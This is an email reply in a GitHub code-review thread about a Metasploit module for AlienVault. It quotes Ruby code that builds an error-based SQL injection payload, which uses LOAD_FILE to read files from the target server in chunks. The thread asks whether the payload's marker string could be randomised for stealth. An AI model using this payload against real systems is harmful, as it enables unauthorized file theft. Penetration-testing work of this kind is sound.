I believe a random string (or even 1=1) could be used instead of xnDa.  It just serves the purpose of the left and right marker.   

 

What would be the reason to use a random string instead?  (more stealth?)

 

(See xnDA mentioned in  https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/alienvault_iso27001_sqli.rb   which is almost identical to this module).

 

 

 

Chris Hebert

 

From: Christian Mehlmauer [mailto:notifications@github.com] 
Sent: Friday, May 09, 2014 3:25 PM
To: rapid7/metasploit-framework
Cc: Chris Hebert
Subject: Re: [metasploit-framework] Add module - alienvault_newpolicyform_sqli (#3345)

 

In modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:

> +      str = [file].pack("H*")
> +      full << str
> +      vprint_status(str)
> +
> +      i = i+1
> +    end
> +
> +    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
> +    print_good("File stored at path: " + path)
> +  end
> +
> +  def sqli(left_marker, right_marker, i, cookie, filename)
> +    pay =  "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
> +    pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
> +    pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
> +    pay << " GROUP BY x)a) AND ('xnDa'='xnDa"

can xnDa be a randomized string too?

—
Reply to this email directly or view it on GitHub <https://github.com/rapid7/metasploit-framework/pull/3345/files#r12491963> .  <https://github.com/notifications/beacon/2874448__eyJzY29wZSI6Ik5ld3NpZXM6QmVhY29uIiwiZXhwaXJlcyI6MTcxNTI4MjY5MCwiZGF0YSI6eyJpZCI6MzE4NzgzNDl9fQ==--d4d083541a530fd4960d381c007acb614b693c50.gif>